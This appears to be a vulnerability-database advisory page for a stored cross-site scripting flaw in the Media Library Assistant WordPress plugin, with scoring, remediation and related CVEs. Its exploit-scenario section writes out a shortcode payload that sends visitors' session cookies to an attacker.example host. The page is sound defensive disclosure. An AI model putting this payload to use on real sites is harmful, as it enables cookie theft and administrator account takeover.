Skip to main content

Media Library Assistant CVE-2026-6641

| EUVDEUVD-2026-76007 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-11 Wordfence GHSA-928c-4p6w-v8h4
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain contributor WordPress credentials
  2. Delivery
    Author post with malicious mla_gallery shortcode (mla_output=paginate_links, mla_link_href=payload)
  3. Exploit
    Post stored in database
  4. Install
    Victim administrator loads injected page
  5. C2
    Browser executes href JavaScript
  6. Execute
    Session cookie exfiltrated to attacker
  7. Impact
    Attacker authenticates as administrator

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated WordPress session at contributor level or higher (PR:L); unauthenticated visitors cannot trigger the vulnerability. The attack is specifically conditioned on use of the [mla_gallery] shortcode with the mla_output parameter set to 'paginate_links' AND the mla_link_href parameter supplied with a malicious value - galleries rendered without these two parameter combinations are not affected. The injected page must be published and visited by a victim browser for the payload to execute, introducing an implicit victim-navigation step. Exploitation is therefore limited by: (1) attacker must hold or obtain at minimum a contributor account, (2) the vulnerable shortcode configuration must appear in a publicly or internally accessible page, and (3) a victim must subsequently load that page. Sites that restrict post creation to trusted editors or administrators are not practically at risk.

Impact

The CVSS 3.1 base score of 6.4 with vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N reflects a network-reachable, low-complexity attack requiring only contributor-level WordPress credentials, with scope change (S:C) capturing the browser-context pivot from server to victim. However, the UI:N designation warrants scrutiny: stored XSS by definition requires a victim to navigate to the injected page, which most CVSS practitioners encode as UI:R. Accepting UI:R would reduce the effective score to approximately 5.4. Privilege requirement PR:L is accurate - WordPress contributor role is a low-trust role that can create and edit posts but cannot publish them directly, yet shortcodes are evaluated server-side on post render, so a contributor can still place the payload. No EPSS score was provided, no KEV listing exists, and no public exploit code has been identified, all of which reduce practical urgency. The real-world risk is moderate: an attacker needing contributor credentials limits opportunistic exploitation, but the stored nature means a single injected post can harvest admin session cookies from every subsequent visitor, including administrators, enabling privilege escalation to full site compromise. The plugin's broad install base elevates overall exposure relative to niche tools.

Exploit ScenarioDerived

A threat actor registers or compromises a contributor account on the target WordPress site, then creates or edits a post embedding a [mla_gallery mla_output='paginate_links' mla_link_href='javascript:document.location="https://attacker.example/steal?c="+document.cookie'] shortcode. WordPress stores the post; when any site visitor - including administrators - loads the page, the unsanitized href renders in the browser and the JavaScript payload executes, exfiltrating session cookies to the attacker's server. With an administrator cookie in hand, the attacker can pivot to full site compromise. No public exploit code has been identified, but the code-level vulnerability is confirmed through Wordfence's reference to the specific source lines in the plugin trac.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 11, 2026

Stored Cross-Site Scripting in the Media Library Assistant WordPress plugin (versions ≤3.35) allows authenticated contributors to plant persistent JavaScript payloads that execute in any visitor's browser. The injection point is the mla_link_href parameter of the [mla_gallery] shortcode when mla_output is set to 'paginate_links': the _paginate_links() function processes the value through mla_process_shortcode_parameter() and _replace_query_parameter() but writes the result directly into href attributes without invoking WordPress's esc_url() sanitizer, leaving the output unsanitized. No public exploit has been identified at time of analysis, and a fix has been committed to the plugin's SVN trunk (changeset 3512155), though the exact released patch version is not independently confirmed from the available references.

RemediationAI

Update the Media Library Assistant plugin to the version that incorporates SVN changeset 3512155 - anticipated to be 3.36 or later - available via the WordPress Plugin Directory or the plugin's SVN repository at plugins.trac.wordpress.org. If an immediate update is not possible, the most targeted compensating control is to remove the Contributor role from any untrusted user accounts, since the attack requires at minimum contributor-level WordPress access; reducing the user pool who can author posts containing [mla_gallery] shortcodes directly shrinks the attack surface. A Web Application Firewall rule blocking mla_link_href values containing javascript:, data:, or HTML event-handler patterns in gallery shortcode POST/GET parameters can provide an additional layer, though WAF rules are imprecise for encoded payloads. There is no known server-side configuration toggle to disable only the mla_output='paginate_links' code path without disabling the broader gallery shortcode. Monitoring WordPress admin-level actions after any contributor posts containing [mla_gallery] is advisable until the patch is applied.

Affected VersionsENISA

Media Library Assistant 0 ≤3.35

Affected Packages

euvd media_library_assistant no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Media Library Assistant (CPE cpe:2.3:a:dglingren:media_library_assistant:*:*:*:*:*:*:*:*) is a WordPress plugin that extends the native media library with advanced shortcode-driven gallery output. The vulnerable code path lives in class-mla-shortcodes.php and class-mla-shortcode-support.php. When the [mla_gallery] shortcode is rendered with mla_output='paginate_links', _paginate_links() constructs pagination anchor tags by processing the mla_link_href parameter through two helper functions - mla_process_shortcode_parameter() (line 2449) and _replace_query_parameter() (line 2484) - neither of which performs URL-safe encoding. The final href value is then written into the page's HTML output without passing through WordPress's esc_url() function, which is the standard defense against href-based XSS in WordPress development. This is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) root cause: user-controlled data traverses multiple processing steps but escaping is omitted at the final output stage.

Know when Media Library Assistant gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 5.4 MEDIUM

Stored XSS requires victim to visit the page (UI:R); contributor credentials needed (PR:L); scope changes to victim browser (S:C); no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Media Library Assistant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'mla_gallery' shortcode in versions up to and including 3.35. This is due to insufficient input sanitization and output escaping on the mla_link_href parameter when mla_output is set to 'paginate_links', where the _paginate_links() function processes the value through mla_process_shortcode_parameter() and _replace_query_parameter() without proper URL escaping, then outputs it directly in href attributes without applying esc_url(). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Medium
popular WordPress plugin, estimated hundreds of thousands of installs
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2023-4634 CRITICAL POC
9.8 Sep 06

The Media Library Assistant plugin for WordPress is vulnerable to Local File Inclusion and Remote Code Execution in vers

CVE-2020-11732 HIGH POC
7.5 Apr 13

The Media Library Assistant plugin before 2.82 for Wordpress suffers from a Local File Inclusion vulnerability in mla_ga

CVE-2026-16959 MEDIUM POC
6.8 Aug 21

SQL injection in the Media Library Assistant WordPress plugin before version 3.40 allows authenticated users with the Au

CVE-2026-113482 MEDIUM POC
6.8 Nov 01

Stored cross-site scripting in the Media Library Assistant WordPress plugin before 3.44 lets an authenticated user with

CVE-2020-11928 CRITICAL
9.8 Apr 20

In the media-library-assistant plugin before 2.82 for WordPress, Remote Code Execution can occur via the tax_query, meta

CVE-2024-51661 CRITICAL
9.1 Nov 04

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability in David Lingre

CVE-2026-135009 CRITICAL
9.3 Nov 27

Blind SQL injection in the WordPress plugin Media Library Assistant through version 3.43 allows remote attackers to read

CVE-2026-66600 CRITICAL
9.1 Aug 20

Arbitrary file upload in the Media Library Assistant WordPress plugin (versions 3.39 and earlier) lets an authenticated

CVE-2024-3518 HIGH
8.8 May 22

The Media Library Assistant plugin for WordPress is vulnerable to SQL Injection via the plugin's shortcode(s) in all ver

CVE-2024-5605 HIGH
8.8 Jun 20

The Media Library Assistant plugin for WordPress is vulnerable to time-based SQL Injection via the ‘order’ parameter wit

CVE-2024-6823 HIGH
8.8 Aug 13

The Media Library Assistant plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type valida

CVE-2026-32399 HIGH
8.5 Mar 13

Blind SQL injection in Media Library Assistant through version 3.32 allows authenticated attackers to execute arbitrary

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy